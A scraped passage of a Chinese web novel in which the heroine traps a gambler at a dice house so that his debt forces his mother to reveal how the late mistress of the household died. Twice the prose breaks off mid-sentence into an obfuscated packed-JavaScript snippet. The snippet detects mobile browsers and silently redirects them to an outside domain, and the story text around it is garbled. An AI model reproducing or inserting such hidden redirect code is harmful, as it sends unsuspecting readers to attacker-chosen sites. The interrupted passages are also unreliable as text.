扑面而来的,是一股混杂着腐烂、潮湿的味道。似乎是脏水的酸臭,又似乎是什么东西长久不见天日的发了霉。 两边的土房挤得密不透风,巷子里阴沉沉的。墙根下坐着些人,面黄肌瘦,眼神都是空的。 他们面容麻木,活像被日复一日的生活榨干了所有希望,只能在此苟延残喘。 凌青走在巷子,对这些人凝视在自己身上的目光视若无睹。 正当她要根据地址找人时,一个浑身脏兮兮的男童不知从哪窜了出来,一头撞在她腿上,摔在地上,随即“哇”地一声大哭起来。 凌青面无表情地垂眼看着这男孩。 她这几日算是捅了孩子堆了,无论干啥都能碰着四处乱窜的熊孩子。 也许是她眼神太过冰冷,那孩子被她吓得哭声一噎,竟忘了继续。 正当凌青和这小孩僵持不下,不远处一个妇人慌忙跑来,抱起孩子,连声对凌青道歉:“姑娘,对不住,孩子不懂事,您别介意。” “无事。”凌青道。 这孩子的母亲倒是明事理。 凌青想了想,还是蹲下身子,从怀里掏出一块油纸包,那些是给凝儿后剩下的桂花糕。 她将油纸包塞到孩子手中,淡声道:“一点小点心。” 她说这话的时候,脸上仍然没有表情,看起来很是不温柔。但那小孩却没有再哭,愣愣地看着她。 “别,太破费了………” “没关系。”凌青站起来,敷衍地摸了摸那孩子的脑袋。 那妇人不住感谢,催促着孩子道:“快,快,谢谢姐姐。” 孩子奶声奶气道:“谢谢,谢谢姐姐。” 凌青唇角微扬,似乎又想起什么,转头看向那妇人:“对了,大嫂,正好向您打听个人。我是陆府的下人,受邴枣姐所托,给她姑母送封信。只是不知道,哪户人家是邴家?” 夫人一听“邴”字,立马了然,热情地拉过凌青,给她指路:“邴婆子啊,就住最里头,你往里走,瞧见一口破井,旁边那家就是了。” 谢过那个妇人后,凌青顺着指引往里走。巷子愈发窄小,两旁的房屋也越发破败。缓缓走到巷子尽头,果然看到了一口破井。 井边,一个满头银丝的老妇人正佝偻着腰,在一只大木盆里费力地搓洗衣物。 哪怕过了十七年,巫婆子大概也是五十左右。可如今她满脸皱纹,眼神浑浊,乍一看竟如七十老妪。 她双手浸在脏污的水盆里,一下一下地搓洗着破旧的衣物。 凌青停了一下,还是走了过去。 “请问,婆婆您是否叫邴善?” 老妇人动作一顿,缓缓抬头,露出一张满是疲态的脸:“你是谁?找我做什么?” 此刻此刻,都找到人了,她也没必要兜兜转转了。 “您可是之前在陆府的第一位夫人院里当过差?”她开门见山道。 那老妇人一直神情麻木,可在听到“陆府”二字时,她浑浊的眼睛似乎闪过一丝惊恐。整个人猛地僵住片刻,慌乱躲开凌青的视线,“你………你认错人了,我不认识什么陆府,我什么都不知道。” “您的侄女邴枣,就在陆府库房当差,您怎么可能不识陆府?”凌青将语气放缓放柔,“您放心,我只是想知道一些先夫人的事情。不会耽误您什么的。” 她以为这么多年过去,这婆子现在也沦落如此境地,无须怕什么了,有什么事尽管说就好。可没想到,话音刚落,这巫婆子瞬间声音尖利地大喊道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352385|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我都说了不是!你这丫头若是再纠缠不清,胡说八道,那我就要喊人了!” 看她如此反应,凌青更知道其中定有问题。 她不甘心就此离开,于是又道:“您如今早已离府多年,还怕什么,先夫人之死疑点重重,您定是知道内情的..........” 她刚想许诺五两银子,却没想到这巫婆子的反应更大,直接上手开始推搡:“滚滚滚!你这小贱蹄子,空口白牙来污蔑人,滚!” 凌青见状,眸中闪过一丝了然,她知道自己此时已经戳中了要害。她不急不躁,任巫婆子将她推出门。 “快走!快走!再来我家,我就把你打出去!” 只听“砰”地一声,凌青面前的木门被紧紧合上,门环上的铁皮被震得嗡嗡直响。 凌青:“........” 她挑挑眉,很知趣地转身离开。 不要紧,都不要紧, 好歹是见着了,就算今日吃了个闭门羹,她也有办法让邴婆子以后自己开口。 她缓缓走到巷子尾,正想着歇一会便离开之时,忽然,一个脚步声从巷子外头走进来。 紧接着,便有骂骂咧咧的声音出现在巫家门口。 “又输光了!真他娘的晦气!”那男人吊儿郎当地走了过来,看见门前洗衣服的木盆,便一脚踹在上面。瞬间,溅起的水花四处飞散。 “老不死的,一天到晚洗这些破布,能挣几个子儿?就不知道去干点来钱快的活啊?” 他话音一落,那紧闭的木门瞬间“吱呀”一声打开,邴婆子探出脸来,确定他身后空无一人,这才看向男人,道:“阿牛啊,你回来了?” “我刚才说的话你没听见吗?”阿牛一看见她,似乎更加上火,唾沫星子都要直接喷到她脸上。 邴婆子脸上立刻带上了讨好和心疼,上前拉着他的胳膊:“别气,别气,娘明天……明天再多接些活……” “得了吧!”阿牛猛地甩开邴婆子的手,“多接活?就你这老胳膊老腿的,能接得了几件活?” 邴婆子被他猛地一甩,踉跄几步,险些跌倒在地,却还是稳住身子,又迎上来:“娘为了你,干再多活也愿意......” “行了!”那阿牛呵斥住她:“一回来看到你这个样就晦气!烦死了,给我拿点钱去打酒喝!” 凌青悄悄探出头往那方向看着,只看着邴婆子进屋又出来,手里攥着几文钱,小心翼翼地递给阿牛:“儿啊,就这些了,你省着点花......” 阿牛一把将钱全部抢过去,掂了掂,不满地啐了一口:“就这点?够干什么的!” 嘴上说着瞧不上这一点,实则直接全揣兜里了。 他又嘴里骂着什么,往巷尾走来。 凌青就站在这里,神色淡淡的与他对视一眼。 看见她的那一刻,这阿牛的眼睛瞬间就亮了,方才的暴戾一扫而空。他上上下下地打量着凌青,那眼神黏腻又恶心。 他看了看四周,确认无人,便朝着凌青走过来,嬉皮笑脸道:“哟,这哪儿来的小美人儿?怎么找到我们这穷地方来了?” 凌青一动不动,只用那双黑沉沉的眸子幽幽地看着他。 起先这阿牛还兴奋着,但被凌青盯得时间长了,不由有些毛骨悚然。 他正还想调戏几句,却听见眼前少女忽然轻飘飘地开了口。 “你在赌?” 阿牛一愣,看着凌青。 过了半晌,他才反应过来,迟疑道:“你.......你怎么知道。” 废话,当然是她偷听到的了。 “我有法子,可以让你一直赢。”凌青的嘴角勾起一抹极淡的弧度,那笑意却不达眼底,反而让人遍体生寒。 那男人愣了片刻,随即像是听到了什么天大的笑话,大笑起来:“你这小娘子,莫不是脑子有毛病?还能让我一直赢?哈哈哈,笑死我了!”他笑得前仰后合,指着凌青道,“你当赌场是你家开的不成?” 凌青神色淡然,只是这么看着他。 阿牛笑了一阵,渐渐觉出不对劲来。他笑声慢慢收敛,狐疑地打量着她:“赌场不会真的是你开的吧?” 凌青:“........是不是我开的,跟着过来看看不就知道了。” 她轻笑一声,这笑容明明带着嘲讽和冷意,却像羽毛一样搔刮着人的心,让人全身痒痒。 “你反正已经这个局面了,信我一次,又如何?” 50. 赌局 京城最大的赌坊,名字非常通俗。 就叫“聚宝楼”。 无论是谁,但凡踏进大门的那一刻,就能感受到与外面截然不同的另一番天地。 正当暑日,里面更是热气蒸腾。这里也不知点着什么熏香,夹杂着各式各样的汗臭味和脂粉味,让人感觉头脑昏昏沉沉,闷得喘不动气。 凌青随着人群入内,不动声色地打量着周围的人群。 大厅内人头攒动,各色人等围站在那一张张漆红的赌桌前。一路上经过,所有人的喜怒哀惧都映入眼帘。有人抱头痛哭,涕泪横流,就有人癫狂大笑,状若疯魔。 咒骂声、哀嚎声、狂笑声混作一团,如同修罗场中的众生万相。 骰子撞击声此起彼伏,每一声都震得心脏发紧,却又带着勾人的魔性,让人控制不住地想要加入其中。 凌青脊背挺直,目光淡淡看着前方,就这么一路走了进去。 她那身板端得板正,面色淡淡,气质清冷,与周围人群格格不入,反而像是来巡查什么似的。 阿牛在后面盯着她的背影,不由得暗暗称奇。他心道这小娘子看起来柔弱,却如此镇定,想必是见过大世面的,定是个有门道的。 然而此时,凌青心里却远没有表面那么从容。 她从前长在山村,后来又到了清水县,见过的世面也就那些。这也是她第一次来这销金窟,而她本人对赌术也是一窍不通。 眼前的一切对她而言都陌生之际,但她可不能在阿牛面前暴露出来,她得装,得端着,让阿牛捉摸不透她的底牌。 她从容不迫地继续向前,路过其中一张赌桌,赌桌上围站之人正激动地喊叫。 “这次老子要一把翻本!” “押大!押大!” 这张桌上摇骰子的庄家是一个女人,半老徐娘,浓妆艳抹,一举一动却都是风情。她将骰盅高高举起,在空中摇晃几下,随后重重的砸在桌案之上。 她红唇微勾,看向各人。 “来吧,诸位。” “押大!押大!这把一定是大!” 旁边的青年摇头道:“小小小,刚才连开了三把大,这把必定是小!” 女庄家但笑不语,只是低下头,纤纤玉指轻抚过骰蛊。 “开—————”她掀开骰盅,“四五六,十五点,大!” 起先说话的那个人哈哈大笑,旁边青年则捶胸顿足。 规则很简单,只是这么一看,她大体就明白了不少。 凌青直接在此站住,看了起来。 好几局过去,规则都是大差不差。观看的人群人人都盯着那些参与赌局的人。却很少有人………去盯着那个女庄家。 而凌青却仔细打量起那个女庄家的手法。 好几局看下来后,这女庄家虽然技艺娴熟,但每次摇骰时,都会有一个极其细微、几乎无法察觉的停顿。 她的视线,会不着痕迹地往桌角瞥上那么半秒。 凌青顺着她的眼神望过去,只见那桌角放着一盏小巧的灯盏,黄铜底座,玻璃灯罩,是再寻常不过的摆设。 可是…………若是灯盏,看它做什么呢? 凌青眯起眼睛,细细端详,终于找到了那灯盏有什么特别的。 灯的黄铜底座上,有一个福蝠形状的压角饰片放在上面。这饰片如同镜子一般,可以反光,能映出骰盅底部一道极细的缝隙。也就是说,这庄家可以完全控制自己骰盅中的骰子大小。 有意思。 那只要一开始先看看众人气氛,看看大多数人倾向于大还是小,便可以自由控制骰子点数。 她假装不经意地转过头,打量其他桌子,发现每张桌子上都有这么一盏小灯。 那岂不是,她也可以根据这个猜出骰子大小? 她心中渐渐有了数。 “姑娘,去那张桌子。”阿牛在她身后低声道,朝她指了指最边上的一张桌。 凌青不动声色道:“嗯?” 阿牛搓了搓手,嘿嘿一笑:“我手里没多少钱了,那边注码小。” 凌青淡淡道:“随你。” 两人一同来到桌前。 这桌的庄家是个年轻男人,见他们前来,便招呼道:“二位,试试手气。三颗骰子加起来,四到十为小,十一到十七为大。押中了翻倍,押错了银子归庄家。” 阿牛从怀中摸出那点钱,果断地放到前面。 凌青轻瞥了一眼那灯盏,假装无意地挪了挪身子,站在一边。 这边庄家将三颗象牙骰子放入骰盅,开始摇晃。骰子在盅中碰撞,发出清脆的声响。 凌青静静地站在一旁,眼眸微垂,长长的睫毛在烛火下投出小片阴影。她的眼神,却在悄悄往上挑着,专注地看着那小灯盏。 果然,这庄家摇了许久,中途稍稍一顿,最后又加摇了两下才停手。 是小点。 “押小。”她轻声道。声音小到只有她和阿牛两个人能听见。 阿牛不可置信地抬头,却只看到她面无表情的侧脸。 他其实本来说的是押大,但不知为何,听到旁边少女的话后,他只是稍愣了愣,便不由自主地改口道: “我押小,二两银子。” 他话音落下,其他人也纷纷下注。 下完注后,众人的目光就都聚焦在那个骰盅上,空气中弥漫着紧张的气息。每个人都在等着骰盅下的结果。 庄家微微一笑,缓缓掀开骰盅。 “二、三、四,九点,小!” 阿牛的眼睛瞬间瞪圆,他简直不敢相信自己的耳朵。 赢了? 他赢了!真的赢了! 庄家将四两银子推到他面前,道:“小哥手气不错啊。” 阿牛激动极了,手指颤抖地接过银子,着他到现在都还没缓过神来。拿着银子后,他不由侧头看向凌青,却见这少女神情仍然波澜不惊,似乎一切都尽在掌握。 他对这人更是佩服。 很快,他又将四两银子下注,开始第二把。 “押大。”凌青又低声道。 阿牛这次毫不犹豫:“押大,四两银子!” 庄家打开开骰盅:“四、五、六,十五点,大!” 又中了! 阿牛的呼吸都急促起来,他感觉自己的心脏在胸腔里狂跳,几乎要激动的跳出嗓子眼。这种不停赢钱的快感让他飘飘欲仙。 他从来!从来没有这么连赢过! 第三把,第四把,第五把...... 身边的少女每次都能准确预测,就犹如有神通一般,能精准看到骰盅里的骰子。 阿牛面前的银两也越来越多。从最初的二两钱,持续到十几两,几十两...... 周围围观的人见状,皆开始窃窃私语。 “这个不是阿牛吗………” “他除了名的手气烂,尤其是这几次,不知输了多少了。” “那怎么今日转运了?” “谁知道………他小子可真是走狗屎运了。从前连着输,今日连着赢,算是让他把之前输的全赢回来了。” 阿牛听着这些话,内心越发沾沾自喜。 之前他来到这,哪次不是灰溜溜地走出去。可现在不一样了,他就要告诉众人,他邴阿牛的大运来了! 下注之时,他喊的更加大声,生怕别人不知道他在赢钱。 又几把过去。 “哈哈哈!又中了!”阿牛拍着桌子大笑,“今天老子就让你们知道,我邴阿牛的名字!” 凌青站在他身后,眼中却闪过一丝几不可察的冷意。 这赌鬼,赢了钱不快收手就算了,还恨不得张扬的所有人都知道。况且是自己带他赢了钱,他现在这番架势,倒好像全是他自己的功劳一样。 凌青内心冷笑一声,却没说什么。只是静静地看着阿牛在那里耀武扬威。 炫耀吧,继续炫耀吧。 赌徒,果然都是贪婪,不知足,得寸进尺。 这些本来就是人的特性,却在赌徒的身上直接放大了数倍。这样的人性,她怎么能不好好利用呢? 当阿牛继续准备要下注之时,凌青终于出声了。 “今天就到这吧,我们走吧。”她淡淡道。 “走?”阿牛猛地回头,脸上满是被打断的恼怒:“你开什么玩笑?今天好不容易赢这么多,我定要继续赢把大的,怎么能现在走?” 他双眼通红,似乎已经丧失了理智,眸子深处全都是兴奋和疯狂。 听到阿牛说出自己想听的话,凌青缓缓抬眸,欲擒故纵道: “你确定吗?” 她害人可不是不给机会,她这三番五次的暗示,可是给足了阿牛机会呢。 但阿牛哪里还能听得进去她的话,这是一个劲的拍着胸膛,“当然确定,有仙女姐姐你震着,我还怕什么。今晚,我就要一口气赢把大的,让所有人都记住我的名字!” 说着,他便将面前所有银两推到了桌案中央。那小山一样堆积的银子散落下来,引来众人看热闹的目光。 “这些我全押了!再借我十两柱!”他涨红着脸,高声嘶吼,“老子今天就要一把翻身!” 周围的赌客们发出一阵倒吸凉气的声音,所有人的目光都聚焦在这惊人的一堆赌注上。 庄家笑着看了那堆银子一眼,拿起骰盅,开始摇晃。 这一次,庄家的动作仍然与之前并无二致。 然而,就在骰盅重重落下的那一瞬间,那庄家的手腕极其快速地向上微微一抬,又立刻压下。 这个动作快到几乎无法察觉,但巫阿牛却清晰地看到了,骰盅的边缘与桌面之间,露出了一道缝隙! 透过那道缝隙,他清楚地看到了其中一颗骰子的点数————是个“六”点!还有一颗露出了半边,但似乎也是个大点数! 阿牛的心脏瞬间狂跳起来。 天助他也,如此大的一把,竟然还碰到庄家失手了! 他一定是摇得太久,手腕乏力,才露出了这么个破绽。偏偏这角度还只朝着他,这不是老天爷把银子往他怀里送嘛! 他激动得浑身颤抖,喉咙里已经憋着一声狂喜的“大”,正要脱口而出。 “押小。” 凌青清冷的声音,猝不及防地出现在他耳边。 阿牛整个人僵住了,不可置信地转过头。。 小? 怎么可能是小?! 那明明是他亲眼看到的! 可是………这姑娘之前说的每一次都是对的,为何偏偏就这次………难道他看走眼了? 不,不对!这可是他亲眼所见的机会!眼见为实,当然要信自己的眼睛。况且这次全押,他必须要万般谨慎。 况且,这姑娘虽然厉害,但终究不是真的是神仙。只要是人,就一定有看走眼的时候。这次,定是她看走眼了,而老天为了救他,让运气站在了他这边。 他要凭自己,赢下这最关键、最有面子的一把! “不!”他呼吸急促,神色间全是狂热和兴奋,“这一把,我押大!” 说完,他回头看了凌青一眼,目光间全是炫耀与得意。他仿佛在说:你也没有这么厉害嘛,这把你错了,而我赢了。 凌青静静地看着他,脸上没有任何表情。她的目光依然无波无澜,平静到像在看一个跳梁小丑,用尽全身力气,演一场注定惨淡收场的独角戏。 庄家脸上的笑意更深了,在众人的目光中,缓缓伸出了手。 所有的人都屏住了呼吸——— 庄家缓缓掀开了骰盅。 “一、一、二,四点,小!” 这一声“小”,让阿牛势在必得的表情瞬间凝固。 他脸上的狂热、得意、自信,全部消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366914|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失得一干二净,脸色一寸寸地碎裂。 他整个人僵在那里,死死地盯着眼前那三颗象牙骰子。 不可能……… 他明明看到了,那个“六”点。 六呢?六呢?! 他脑子里“嗡”的一声巨响,仿佛有什么东西彻底断掉。耳边所有嘈杂的声音都潮水般退去,只剩下他粗重的喘息。 凌青在旁站着,内心冷笑出声。 真是个傻子。 他以为自己窥得了天机,却不知道,那个失误,本就是庄家故意露给他看的。 这只是一个,专门为他这种自作聪明的赌徒,量身定做的陷阱。 “哗啦———” 庄家面带微笑,拍拍手,很快便有人上来,将那些银子悉数划拉到袋子里。 可这事情,还没有完。 他这把借了赌注,也就是说,他不光输光了所有的钱,还倒欠了赌坊一大笔银子。 还没等他回过神来,一个身影便站到了他的身后,高大的阴影将他完全笼罩。 是赌坊的打手。 这满脸横肉的壮汉,一只胳膊顶得上阿牛两根腿粗。他伸出满是青筋的大手,重重地拍了拍阿牛的肩膀。 那力道大得让阿牛的骨头都发出了“咯”的一声脆响。 “小子,欠债还钱,天经地义。我们聚宝楼的规矩,给你十天。十天后,拿不出钱……” 他咧开嘴,露出一口黄牙: “……就拿你身上别的来抵。” 阿牛的身体如筛糠般地抖动,他再也支撑不住了,整个人瘫坐在地上,一个字也说不出来。 他完了。 彻底完了。 ——— 夜色已深,这京城西巷子里早已没有人了,只有邴家的院子门前却还有两个深深的人影。 阿牛瘫坐在地上,双眼无神,仿佛一具行尸走肉。邴婆子抱着他嚎啕大哭,声音越发凄厉。 “我的儿啊,”她边哭边拍打着自己的胸口,"你怎么能欠下这么多银子?这可怎么办啊?这可怎么办啊?” 她哭嚎半天,阿牛却依旧木然地看着前方。 “你说话啊!”邴婆子狠狠推了他一把。 这一下,阿牛终于有了一丝反应。他缓缓抬起头,声音嘶哑地说道:“娘,你看着办吧。如果拿不出银子,我就一死了之。” “不行!不行!”邴婆子哭得更加凶猛,“你这是要我的老命啊!这么多银子,我上哪里去弄?” 就在此时,不远处传来了一个清冷如水的声音: “当然有办法。” 在邴家母子呆楞的目光中,凌青缓缓走了进来。 她瞥了一眼两人的神色,从怀中取出一个沉甸甸的钱袋,轻轻摇晃了一下。银子撞击的声音清脆悦耳,一听便能听出里面是足数的银子。 瘫软在地的阿牛和嚎啕大哭的邴婆子,动作突然停住。二人猛地抬起头,眼神直勾勾地看向她手中的钱袋子。 阿牛的眼中瞬间爆发出一种劫后余生的狂喜光芒,他手脚并用地从地上爬起来:“姑……姑娘!你……你是来救我的?你真的愿意帮我?” 凌青看着他的脸,内心冷笑一声。 帮他?她看着像这么好心的人么? 凌青看着他们,嘴角勾起一抹淡淡的微笑:“当然是来帮你的。” 阿牛喜出望外,刚要来拿钱袋子,却听却听凌青的话锋陡然一转。 “不过……” 她的目光越过阿牛的头顶,落在了不远处那位浑身僵硬的老妇人身上。 “这是需要条件的。” 看着凌青的目光,阿牛也回过头去望着邴婆子。 凌青的目光越发意味深长:“邴婆子,白天我问您的事,您现在愿意告诉我答案了吗?” 邴婆子脸色惨白,后退一步。 “不………不………” 她想退回屋内。而阿牛,此刻却似乎明白了什么。他猛地转身,冲到邴婆子面前,抓住她的胳膊用力摇晃,“娘!你都听到了吗?快说啊!把你知道的都告诉这位姑娘!快啊!” 邴婆子嘴唇哆嗦着,看着自己的儿子,眼中满是纠结与痛苦。 那个秘密……那个能要了她们全家性命的秘密……她守了十几年,怎么敢轻易说出口? “你还在犹豫什么!”阿牛见她不语,彻底急了,“你是不是非要看着我去死才甘心?是不是!” 邴婆子哭着道:“不是………当然不是……” 她推开儿子,猛地抬起头,用一种淬了毒般的憎恨目光,死死地瞪着凌青。 “是你!都是你算计好的!”她歇斯底里地大喊,“你故意引我儿子去赌,故意让他欠下还不清的债,就是为了逼我!你好毒的心啊!” 面对这指控,凌青的神色丝毫没有变化。 她只是看向阿牛:“最后那一把,是谁让你押大的?” 一句话,如同一把重锤,狠狠地砸在了邴婆子的心上。 她猛地转头看向阿牛,阿牛避开邴婆子的目光,缓缓低下了头。 一切,不言而喻。 邴婆子明白了。 的确是这个女人先利用她的儿子。可若不是她儿子的贪婪和愚蠢,又怎么会亲手将刀柄递到了这女人的手上! 院子里陷入了死一般的沉寂。 长久的沉默后,邴婆子像是被抽干了所有的力气,缓缓地流下了两行清泪。 她缓缓转头,看向阿牛:“你进去。” 阿牛还想扯着嗓子说什么:“你.........” “进去!”邴婆子嘶吼一句,终于让阿牛不情不愿进了屋。 此时,院内只有她们二人。 她看着凌青,重重地叹息了一声。 “当年……夫人她………” “………的确不是病死的。”